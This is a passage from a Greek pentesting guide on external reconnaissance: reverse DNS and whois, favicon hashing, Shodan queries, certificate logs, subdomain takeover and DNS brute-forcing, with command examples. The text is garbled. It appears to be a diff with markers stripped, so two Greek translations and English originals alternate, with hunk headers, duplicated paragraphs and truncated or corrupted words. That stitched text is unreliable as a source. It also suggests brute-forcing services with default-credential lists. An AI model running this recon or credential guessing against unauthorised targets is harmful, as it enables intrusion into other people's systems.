**Επίσης, αξίζει να σημειωθεί ότι μπορείτε επίσης να ετοιμάσετε κάποιες** λίστες προεπιλεγμένων ονομάτων χρήστη **και** κωδικών πρόσβασης **και να προσπαθήσετε να** εκτελέσετε επίθεση με brute force σε υπηρεσίες με το [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του πεδίου**, οπότε αν έχετε άδεια, μπορείτε να εκκινήσετε κάποιο **εργαλείο σάρωσης ευπαθειών** (Nessus, OpenVAS) σε όλους τους hosts.\
Επίσης, μπορείτε να εκκινήσετε κάποιες [**σάρωσεις θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) **ή να χρησιμοποιήσετε υπηρεσίες όπως** shodan **για να βρείτε** ανοιχτές θύρες **και ανάλογα με το τι θα βρείτε, θα πρέπει να** ρίξετε μια ματιά σε αυτό το βιβλίο για το πώς να κάνετε pentest σε διάφορες πιθανές υπηρεσίες που τρέχουν.\
**Επίσης, αξίζει να αναφερθεί ότι μπορείτε επίσης να προετοιμάσετε κάποιες** λίστες με προεπιλεγμένα ονόματα χρήστη **και** κωδικούς πρόσβασης **και να προσπαθήσετε να** κάνετε bruteforce υπηρεσίες με [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domains
## Τομείς
> Γνωρίζουμε όλες τις εταιρείες εντός του πεδίου εφαρμογής και τα περιουσιακά τους στοιχεία, είναι ώρα να βρούμε τα domains εντός του πεδίου εφαρμογής.
> Γνωρίζουμε όλες τις εταιρείες εντός του πεδίου και τα περιουσιακά τους στοιχεία, ήρθε η ώρα να βρούμε τους τομείς εντός του πεδίου.
αρακαλώ, σημειώστε ότι στις παρακάτω προτεινόμενες τεχνικές μπορείτε επίσης να βρείτε υποτομές και αυτές οι πληροφορίες δεν πρέπει να υποτιμηθούν._
αρακαλώ σημειώστε ότι στις παρακάτω προτεινόμενες τεχνικές μπορείτε επίσης να βρείτε υποτομείς και αυτή η πληροφορία δεν θα πρέπει να υποτιμάται._
Καταρχάς, θα πρέπει να αναζητήσετε τον **κύριο domain**(s) κάθε εταιρείας. Για παράδειγμα, για την _Tesla Inc._ θα είναι το _tesla.com_.
Πρώτα απ' όλα, θα πρέπει να αναζητήσετε τον **κύριο τομέα**(ες) κάθε εταιρείας. Για παράδειγμα, για την _Tesla Inc._ θα είναι _tesla.com_.
### **Αντίστροφη αναζήτηση DNS**
### **Αντίστροφη DNS**
Αφού έχετε βρει όλες τις εύρεσης IP των domains μπορείτε να προσπαθήσετε να εκτελέσετε **αντίστροφες αναζητήσεις DNS** σε αυτά τα **IPs για να βρείτε περισσότερα domains εντός του πεδίου εφαρμογής**. Δοκιμάστε να χρησιμοποιήσετε κάποιον διακομιστή DNS του θύματος ή κάποιον γνωστό διακομιστή DNS (1.1.1.1, 8.8.8.8)
Καθώς έχετε βρει όλα τα εύρη IP των τομέων, μπορείτε να προσπαθήσετε να εκτελέσετε **αντίστροφες αναζητήσεις DNS** σε αυτές τις **IP για να βρείτε περισσότερους τομείς εντός του πεδίου**. Προσπαθήστε να χρησιμοποιήσετε κάποιον DNS server του θύματος ή κάποιον γνωστό DNS server (1.1.1.1, 8.8.8.8)
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
```
### **Αντίστροφη Αναζήτηση Whois (loop)**
Για να λειτουργήσει αυτό, ο διαχειριστής πρέπει να ενεργοποιήσει χειροκίνητα το PTR.\
Μπορείτε επίσης να χρησιμοποιήσετε ένα διαδικτυακό εργαλείο για αυτές τις πληροφορίες: [http://ptrarchive.com/](http://ptrarchive.com)
Μέσα σε ένα **whois** μπορείτε να βρείτε πολλές ενδιαφέρουσες **πληροφορίες** όπως το **όνομα της οργάνωσης**, **διεύθυνση**, **emails**, αριθμούς τηλεφώνου... Αλλά ακόμα πιο ενδιαφέρον είναι ότι μπορείτε να βρείτε **περισσότερα περιουσιακά στοιχεία που σχετίζονται με την εταιρεία** αν εκτελέσετε **αντίστροφες αναζητήσεις whois με βάση αυτά τα πεδία** (για παράδειγμα άλλα καταχωρημένα whois όπου εμφανίζεται το ίδιο email).\
Μπορείτε να χρησιμοποιήσετε online εργαλεία όπως:
### **Αντίστροφος Whois (loop)**
Μέσα σε ένα **whois** μπορείτε να βρείτε πολλές ενδιαφέρουσες **πληροφορίες** όπως **όνομα οργανισμού**, **διεύθυνση**, **emails**, αριθμούς τηλεφώνου... Αλλά το πιο ενδιαφέρον είναι ότι μπορείτε να βρείτε **περισσότερα περιουσιακά στοιχεία που σχετίζονται με την εταιρεία** αν εκτελέσετε **αντίστροφες αναζητήσεις whois με οποιοδήποτε από αυτά τα πεδία** (για παράδειγμα άλλες μητρώες whois όπου εμφανίζεται το ίδιο email).\
Μπορείτε να χρησιμοποιήσετε διαδικτυακά εργαλεία όπως:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Δωρεάν**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Δωρεάν**
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Δωρεάν**
* [https://www.whoxy.com/](https://www.whoxy.com) - **Δωρεάν** web, όχι δωρεάν API.
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Όχι δωρεάν
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Όχι Δωρεάν (μόνο **100 δωρεάν** αναζητήσεις)
* [https://www.domainiq.com/](https://www.domainiq.com) - Όχι Δωρεάν
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Όχι δωρεάν (μόνο **100 δωρεάν** αναζητήσεις)
* [https://www.domainiq.com/](https://www.domainiq.com) - Όχι δωρεάν
Μπορείτε να αυτοματοποιήσετε αυτήν την εργασία χρησιμοποιώντας το [**DomLink** ](https://github.com/vysecurity/DomLink)(απαιτεί ένα κλειδί API του whoxy).\
Μπορείτε επίσης να εκτελέσετε ορισμένες αυτόματες ανακαλύψεις αντίστροφης αναζήτησης whois με το [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
Μπορείτε να αυτοματοποιήσετε αυτή την εργασία χρησιμοποιώντας [**DomLink** ](https://github.com/vysecurity/DomLink)(απαιτεί κλειδί API whoxy).\
Μπορείτε επίσης να εκτελέσετε κάποια αυτόματη ανακάλυψη αντίστροφου whois με [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτήν την τεχνική για να ανακαλύψετε περισσότερα ονόματα domain κάθε φορά που βρίσκετε ένα νέο domain.**
**Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτή την τεχνική για να ανακαλύψετε περισσότερα ονόματα τομέα κάθε φορά που βρίσκετε ένα νέο τομέα.**
### **Trackers**
Αν βρείτε τον **ίδιο αριθμό ταυτοποίησης του ίδιου tracker** σε 2 διαφορετικές σελίδες, μπορείτε να υποθέσετε ότι **και οι δύο σελίδες** διαχειρίζονται από την **ίδια ομάδα**.\
Για παράδειγμα, αν δείτε τον **ίδιο αριθμό ταυτοποίησης Google Analytics** ή τον **ίδιο αριθμό ταυτοποίησης Adsense** σε αρκετές σελίδες.
Αν βρείτε το **ίδιο ID του ίδιου tracker** σε 2 διαφορετικές σελίδες μπορείτε να υποθέσετε ότι **και οι δύο σελίδες** διαχειρίζονται από την **ίδια ομάδα**.\
Για παράδειγμα, αν δείτε το ίδιο **Google Analytics ID** ή το ίδιο **Adsense ID** σε πολλές σελίδες.
Υπάρχουν μερικές σελίδες και εργαλεία που σας επιτρέπουν να αναζητήσετε με βάση αυτούς τους trackers και περισσότερα:
Υπάρχουν κάποιες σελίδες και εργαλεία που σας επιτρέπουν να αναζητήσετε με αυτούς τους trackers και περισσότερα:
* [**Udon**](https://github.com/dhn/udon)
* [**BuiltWith**](https://builtwith.com)
@ -128,20 +132,20 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **Favicon**
Ξέρατε ότι μπορούμε να βρούμε σχετικά domains και sub domains στον στόχο μας αναζητώντας τον ίδιο κωδικό hash του εικονιδίου favicon; Αυτό ακριβώς κάνει το [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) εργαλείο που δημιούργησε ο [@m4ll0k2](https://twitter.com/m4ll0k2). Εδώ είναι πώς να το χρησιμοποιήσετε:
Γνωρίζατε ότι μπορούμε να βρούμε σχετικούς τομείς και υποτομείς στον στόχο μας αναζητώντας το ίδιο hash εικονιδίου favicon; Αυτό ακριβώς κάνει το εργαλείο [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) που δημιούργησε ο [@m4ll0k2](https://twitter.com/m4ll0k2). Να πώς να το χρησιμοποιήσετε:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - ανακαλύψτε domains με τον ίδιο κωδικό hash του εικονιδίου favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
![favihash - ανακαλύψτε τομείς με το ίδιο hash εικονιδίου favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
Απλά ειπωμένο, το favihash θα μας επιτρέψει να ανακαλύψουμε domains που έχουν τον ίδιο κωδικό hash με το εικονίδιο favicon όπως το στόχο μας.
Απλά, το favihash θα μας επιτρέψει να ανακαλύψουμε τομείς που έχουν το ίδιο hash εικονιδίου favicon με τον στόχο μας.
Επιπλέον, μπορείτε επίσης να αναζητήσετε τεχνολογίες χρησιμοποιώντας τον κωδικό hash του favicon όπως εξηγείται στο [**αυτό το blog post**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Αυτό σημαίνει ότι αν γνωρίζετε τον **hash του favicon μιας ευάλωτης έκδοσης μιας τεχνολογίας ιστού** μπορείτε να αναζητήσετε αν υπάρχει στο shodan και **να βρείτε περισσότερα ευάλωτα σημεία**:
Επιπλέον, μπορείτε επίσης να αναζητήσετε τεχνολογίες χρησιμοποιώντας το hash του favicon όπως εξηγείται σε [**αυτή την ανάρτηση στο blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Αυτό σημαίνει ότι αν γνωρίζετε το **hash του favicon μιας ευάλωτης έκδοσης μιας διαδικτυακής τεχνολογίας** μπορείτε να αναζητήσετε αν στο shodan και **να βρείτε περισσότερα ευάλωτα μέρη**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
Έτσι μπορείτε να **υπολογίσετε το hash του favicon** ενός ιστότοπου:
Αυτός είναι ο τρόπος με τον οποίο μπορείτε να **υπολογίσετε το hash του favicon** ενός ιστότοπου:
```python
import mmh3
import requests
@ -154,77 +158,75 @@ fhash = mmh3.hash(favicon)
print(f"{url} : {fhash}")
return fhash
```
### **Πνευματική Ιδιοκτησία / Μοναδική συμβολοσειρά**
### **Copyright / Uniq string**
Αναζητήστε μέσα στις ιστοσελίδες **συμβολοσειρές που θα μπορούσαν να κοινοποιούνται σε διαφορετικές ιστοσελίδες στον ίδιο οργανισμό**. Η **συμβολοσειρά πνευματικής ιδιοκτησίας** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια αναζητήστε αυτήν τη συμβολοσειρά στο **Google**, σε άλλους **περιηγητές** ή ακόμη και στο **Shodan**: `shodan search http.html:"Συμβολοσειρά πνευματικής ιδιοκτησίας"`
Αναζητήστε μέσα στις ιστοσελίδες **αλφαβητικούς χαρακτήρες που θα μπορούσαν να μοιραστούν σε διάφορες ιστοσελίδες της ίδιας οργάνωσης**. Η **αλφαβητική σειρά πνευματικών δικαιωμάτων** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια, αναζητήστε αυτή τη σειρά σε **google**, σε άλλους **πλοηγούς** ή ακόμα και σε **shodan**: `shodan search http.html:"Copyright string"`
### **Χρόνος CRT**
### **CRT Time**
Είναι συνηθισμένο να υπάρχει ένας προγραμματισμένος χρόνος όπως
Είναι κοινό να έχετε μια εργασία cron όπως
```bash
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
### Ανανέωση πιστοποιητικών τομέα
to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\
Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
Για να ανανεώσετε όλα τα πιστοποιητικά τομέα στον διακομιστή. Αυτό σημαίνει ότι ακόμη και αν ο Φορέας Πιστοποίησης που χρησιμοποιείται για αυτό δεν ορίζει τον χρόνο που δημιουργήθηκε στον Χρόνο Ισχύος, είναι δυνατόν να **βρείτε τους τομείς που ανήκουν στην ίδια εταιρεία στα αρχεία καταγραφής διαφάνειας πιστοποιητικών**.\
Δείτε αυτό το [**άρθρο για περισσότερες πληροφορίες**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
### Mail DMARC information
### Πληροφορίες DMARC για τα Email
You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domains and subdomain sharing the same dmarc information**.
Μπορείτε να χρησιμοποιήσετε μια ιστοσελίδα όπως η [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) ή ένα εργαλείο όπως το [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) για να βρείτε **τομείς και υποτομείς που μοιράζονται τις ίδιες πληροφορίες dmarc**.
### **Passive Takeover**
### **Παθητική Κατάληψη**
Φαίνεται ότι είναι κοινό για τους ανθρώπους να αναθέτουν υποτομείς σε IP που ανήκουν σε παρόχους cloud και σε κάποιο σημείο **να χάσουν αυτήν την διεύθυνση IP αλλά να ξεχάσουν να αφαιρέσουν την εγγραφή DNS**. Επομένως, απλά **δημιουργώντας μια VM** σε ένα cloud (όπως το Digital Ocean) θα **αναλάβετε κάποιους υποτομείς**.
Φαίνεται ότι είναι συνηθισμένο για ανθρώπους να αναθέτουν υποτομείς σε διευθύνσεις IP που ανήκουν σε παρόχους νέφους και σε κάποιο σημείο **χάνουν αυτήν τη διεύθυνση IP αλλά ξεχνούν να αφαιρέσουν τον εγγραφή DNS**. Επομένως, απλά **εκκινώντας ένα VM** σε ένα νέφος (όπως το Digital Ocean) θα **αναλάβετε πραγματικά κάποιους υποτομείς**.
[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it.
[**Αυτή η ανάρτηση**](https://kmsec.uk/blog/passive-takeover/) εξηγεί μια ιστορία γι' αυτό και προτείνει ένα σενάριο που **εκκινά ένα VM στο DigitalOcean**, **λαμβάνει** τη **διεύθυνση IPv4** της νέας μηχανής, και **ψάχνει στο Virustotal για εγγραφές υποτομέων** που το δείχνουν.
### **Other ways**
### **Άλλοι τρόποι**
**Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτήν την τεχνική για να ανακαλύψετε περισσότερα ονόματα τομέων κάθε φορά που βρίσκετε ένα νέο τομέα.**
**Note that you can use this technique to discover more domain names every time you find a new domain.**
**Shodan**
Καθώς γνωρίζετε ήδη το όνομα του οργανισμού που κατέχει το χώρο IP. Μπορείτε να αναζητήσετε με βάση αυτά τα δεδομένα στο shodan χρησιμοποιώντας: `org:"Tesla, Inc."` Ελέγξτε τους εντοπισμένους οικοδεσπότες για νέους αναπάντητους τομείς στο πιστοποιητικό TLS.
As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate.
Θα μπορούσατε να έχετε πρόσβαση στο **πιστοποιητικό TLS** της κύριας ιστοσελίδας, να λάβετε το **όνομα του οργανισμού** και στη συνέχεια να αναζητήσετε αυτό το όνομα μέσα στα **πιστοποιητικά TLS** όλων των ιστοσελίδων που γνωρίζετε από το **shodan** με το φίλτρο: `ssl:"Tesla Motors"` ή να χρησιμοποιήσετε ένα εργαλείο όπως το [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
Το [**Assetfinder** ](https://github.com/tomnomnom/assetfinder) είναι ένα εργαλείο που αναζητά **σχετικούς τομείς** με έναν κύριο τομέα και **υποτομείς** τους, πολύ εντυπωσιακό.
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing.
### **Αναζήτηση ευπαθειών**
### **Looking for vulnerabilities**
Ελέγξτε για κάποια [κατάληψη τομέα](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Ίσως κάποια εταιρεία **να χρησιμοποιεί έναν τομέα** αλλά **έχασε την ιδιοκτησία**. Απλά καταχωρίστε τον (αν είναι αρκετά φθηνός) και ενημερώστε την εταιρεία.
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company.
Αν βρείτε κάποιον **τομέα με διαφορετική διεύθυνση IP** από αυτές που έχετε ήδη βρει στην ανακάλυψη περιουσιακών στοιχείων, πρέπει να πραγματοποιήσετε μια **βασική ανίχνευση ευπαθειών** (χρησιμοποιώντας το Nessus ή το OpenVAS) και μια [**σάρωση θύρας**](../pentesting-network/#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που εκτελούνται, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για "επίθεση" σε αυτές**.\
_Σημειώστε ότι μερικές φορές ο τομέας φιλοξενείται μέσα σε μια διεύθυνση IP που δεν ελέγχεται από τον πελάτη, οπότε δεν εμπίπτει στο πεδίο εφαρμογής, προσέξτε._
If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
_Σημειώστε ότι μερικές φορές ο τομέας φιλοξενείται μέσα σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο εφαρμογής, να είστε προσεκτικοί._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Συμβουλή για bug bounty**: **Εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα ανταμοιβής ευπαθειών δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε ανταμοιβές μέχρι **$100,000**!
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Υποτομείς
## Subdomains
> Γνωρίζουμε όλες τις εταιρείες εντός του πεδίου εφαρμογής, όλα τα περιουσιακά στοιχεία κάθε εταιρείας και όλους τους σχετικούς τομείς με τις εταιρείες.
> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies.
Ήρθε η ώρα να βρούμε όλους τους πιθανούς υποτομείς κάθε εντοπισμένου τομέα.
It's time to find all the possible subdomains of each found domain.
{% hint style="success" %}
Σημειώστε ότι μερικά από τα εργαλεία και τεχνικές για την εύρεση τομέων μπορούν επίσης να βοηθήσουν στην εύρεση υποτομέων!
Note that some of the tools and techniques to find domains can also help to find subdomains!
{% endhint %}
### **DNS**
Ας προσπαθήσουμε να πάρουμε **υποτομείς** από τα **αρχεία DNS**. Θα πρέπει επίσης να δοκιμάσουμε τη **μεταφορά ζώνης** (Αν είναι ευάλωτη, θα πρέπει να το αναφέρετε).
Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it).
```bash
dnsrecon -a -d tesla.com
```
### **OSINT**
Ο ταχύτερος τρόπος για να αποκτήσετε πολλά subdomains είναι να αναζητήσετε σε εξωτερικές πηγές. Τα πιο χρησιμοποιημένα **εργαλεία** είναι τα παρακάτω (για καλύτερα αποτελέσματα ρυθμίστε τα κλειδιά API):
Ο ταχύτερος τρόπος για να αποκτήσετε πολλούς υποτομείς είναι η αναζήτηση σε εξωτερικές πηγές. Τα πιο χρησιμοποιούμενα **εργαλεία** είναι τα εξής (για καλύτερα αποτελέσματα ρυθμίστε τα κλειδιά API):
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash
@ -273,15 +275,15 @@ vita -d tesla.com
```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
```
Υπάρχουν **άλλα ενδιαφέροντα εργαλεία/APIs** που αν και δεν είναι άμεσα εξειδικευμένα στον εντοπισμό υποτομέων μπορεί να είναι χρήσιμα για τον εντοπισμό υποτομέων, όπως:
Υπάρχουν **άλλα ενδιαφέροντα εργαλεία/APIs** που, ακόμη και αν δεν είναι άμεσα εξειδικευμένα στην εύρεση υποτομέων, θα μπορούσαν να είναι χρήσιμα για την εύρεση υποτομέων, όπως:
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Χρησιμοποιεί το API [https://sonar.omnisint.io](https://sonar.omnisint.io) για την ανάκτηση υποτομέων
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Χρησιμοποιεί το API [https://sonar.omnisint.io](https://sonar.omnisint.io) για να αποκτήσει υποτομείς
```bash
# Get list of subdomains in output from the API
## This is the API the crobat tool will use
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
```
* [**Δωρεάν API του JLDC**](https://jldc.me/anubis/subdomains/google.com)
* [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com)
```bash
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
```
@ -305,12 +307,12 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
* [**gau**](https://github.com/lc/gau)**:** ανακτά γνωστές διευθύνσεις URL από το AlienVault's Open Threat Exchange, το Wayback Machine και το Common Crawl για οποιοδήποτε δοθέν τομέα.
* [**gau**](https://github.com/lc/gau)**:** ανακτά γνωστές διευθύνσεις URL από το Open Threat Exchange της AlienVault, το Wayback Machine και το Common Crawl για οποιοδήποτε δεδομένο τομέα.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
```
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Αναζητούν στο web για αρχεία JS και εξάγουν υποτομείς από εκεί.
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Ψάχνουν τον ιστό για αρχεία JS και εξάγουν υποτομείς από εκεί.
```bash
# Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@ -325,7 +327,7 @@ shodan domain <domain>
# Get other pages with links to subdomains
shodan search "http.html:help.domain.com"
```
* [**Εργαλείο εύρεσης υποτομέων Censys**](https://github.com/christophetd/censys-subdomain-finder)
* [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder)
```bash
export CENSYS_API_ID=...
export CENSYS_API_SECRET=...
@ -335,18 +337,18 @@ python3 censys-subdomain-finder.py tesla.com
```bash
python3 DomainTrail.py -d example.com
```
* [**securitytrails.com**](https://securitytrails.com/) έχει ένα δωρεάν API για αναζήτηση υποτομέων και ιστορικό IP
* [**securitytrails.com**](https://securitytrails.com/) έχει δωρεάν API για αναζήτηση υποτομέων και ιστορικό IP
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
Αυτό το έργο προσφέρει **δωρεάν όλα τα υποτομέα που σχετίζονται με προγράμματα ανταμοιβής ευρημάτων σφαλμάτων**. Μπορείτε να έχετε πρόσβαση σε αυτά τα δεδομένα χρησιμοποιώντας επίσης το [chaospy](https://github.com/dr-0x0x/chaospy) ή ακόμη να έχετε πρόσβαση στο εύρος που χρησιμοποιείται από αυτό το έργο [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Αυτό το έργο προσφέρει **δωρεάν όλους τους υποτομείς που σχετίζονται με προγράμματα bug-bounty**. Μπορείτε να αποκτήσετε πρόσβαση σε αυτά τα δεδομένα χρησιμοποιώντας επίσης [chaospy](https://github.com/dr-0x0x/chaospy) ή ακόμα και να αποκτήσετε πρόσβαση στο πεδίο που χρησιμοποιείται από αυτό το έργο [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Μπορείτε να βρείτε μια **σύγκριση** πολλών από αυτά τα εργαλεία εδώ: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **Δύναμη DNS Brute**
### **DNS Brute force**
Ας προσπαθήσουμε να βρούμε νέους **υποτομείς** με brute force στους διακομιστές DNS χρησιμοποιώντας πιθανά ονόματα υποτομέων.
Ας προσπαθήσουμε να βρούμε νέους **υποτομείς** κάνοντας brute-force στους DNS servers χρησιμοποιώντας πιθανά ονόματα υποτομέων.
Για αυτή την ενέργεια θα χρειαστείτε μερικές **κοινές λίστες λέξεων υποτομέων όπως**:
Για αυτή την ενέργεια θα χρειαστείτε κάποιες **κοινές λίστες λέξεων υποτομέων όπως**:
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@ -354,21 +356,21 @@ python3 DomainTrail.py -d example.com
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
Και επίσης IPs καλών διακομιστών DNS. Για να δημιουργήσετε μια λίστα αξιόπιστων διακομιστών DNS μπορείτε να κατεβάσετε τους διακομιστές από [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) και να χρησιμοποιήσετε το [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) για να τους φιλτράρετε. Ή μπορείτε να χρησιμοποιήσετε: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Και επίσης IPs καλών DNS resolvers. Για να δημιουργήσετε μια λίστα αξιόπιστων DNS resolvers μπορείτε να κατεβάσετε τους resolvers από [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) και να χρησιμοποιήσετε [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) για να τους φιλτράρετε. Ή μπορείτε να χρησιμοποιήσετε: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Τα πιο συνιστώμενα εργαλεία για τη δύναμη DNS brute-force είναι:
Τα πιο συνιστώμενα εργαλεία για DNS brute-force είναι:
* [**massdns**](https://github.com/blechschmidt/massdns): Αυτό ήταν το πρώτο εργαλείο που πραγματοποίησε μια αποτελεσματική δύναμη DNS brute-force. Είναι πολύ γρήγορο, αλλά είναι επιρρεπές σε Ϩενεργά θετικά.
* [**massdns**](https://github.com/blechschmidt/massdns): Αυτό ήταν το πρώτο εργαλείο που εκτέλεσε αποτελεσματικό DNS brute-force. Είναι πολύ γρήγορο, ωστόσο είναι επιρρεπές σε ψευδώς θετικά αποτελέσματα.
```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
* [**gobuster**](https://github.com/OJ/gobuster): Αυτό νομίζω χρησιμοποιεί απλά 1 resolver
* [**gobuster**](https://github.com/OJ/gobuster): Αυτό νομίζω ότι χρησιμοποιεί μόνο 1 resolver
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
